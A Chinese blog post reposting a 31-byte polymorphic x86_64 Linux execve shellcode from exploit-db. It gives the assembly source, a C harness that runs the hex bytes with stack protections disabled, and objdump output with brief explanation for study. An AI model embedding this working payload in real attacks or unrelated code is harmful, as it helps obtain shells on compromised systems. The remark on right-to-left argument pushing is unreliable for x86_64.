天天看点

一段强大的shellcode

代码来源于 exploit-db, 对于研究shellcode, 分析程序的运行以及linux系统有很大的帮助。

/*
;Title: polymorphic execve shellcode
;Author: d4sh&r
;Contact: https://mx.linkedin.com/in/d4v1dvc
;Category: Shellcode
;Architecture:linux x86_64
;SLAE64-1379
;Description:
;Polymorphic shellcode in 31 bytes to get a shell 
;Tested on : Linux kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 x86_64 GNU/Linux
 
;Compilation and execution
;nasm -felf64 shell.nasm -o shell.o
;ld shell.o -o shell
;./shell
 
global _start
  
_start:
    mul esi
    push rdx
    mov al,1                         
    mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh 
    rol rbx,24
    shr rbx,1
    push rbx
    lea rdi, [rsp] ;address of /bin//sh
    add al,58
    syscall
 
*/
#include<stdio.h>
//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
unsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";
  
main()
{
   int (*ret)()=(int(*)()) code;
    ret();
}
           

将汇编代码转换成对应的二进制代码里的数据 ,然后用16进制记录,将该段数据的位置给予函数指针,然后开始执行该段代码,相当巧妙。

下面便对比下该段shellcode 编译出对应的汇编代码,是否与注释中的相同。

执行一下命令:

# gcc -fno-stack-protector -z execstack -c shellcode.c 

# objdump -S shellcode.o

对应的汇编代码输出如下:

tes07.o:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <main>:
#include<stdio.h>
//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
unsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";
  
main()
{
   0:   55                      push   %rbp
   1:   48 89 e5                mov    %rsp,%rbp
   4:   48 83 ec 10             sub    $0x10,%rsp
   int (*ret)()=(int(*)()) code;
   8:   48 c7 45 f8 00 00 00    movq   $0x0,-0x8(%rbp)
   f:   00 
    ret();
  10:   48 8b 55 f8             mov    -0x8(%rbp),%rdx
  14:   b8 00 00 00 00          mov    $0x0,%eax
  19:   ff d2                   callq  *%rdx
}
  1b:   c9                      leaveq 
  1c:   c3                      retq 
           

其中需要注意函数的压栈顺序,在进入函数调用时, 函数参数从右向左入栈,函数的地址最后压栈, 然后跳转到函数指针的位置处。

当函数执行完毕需要返回时,执行完堆栈动态销毁后,最后一个弹出的,是函数的入口地址,这样便返回了入口调用处。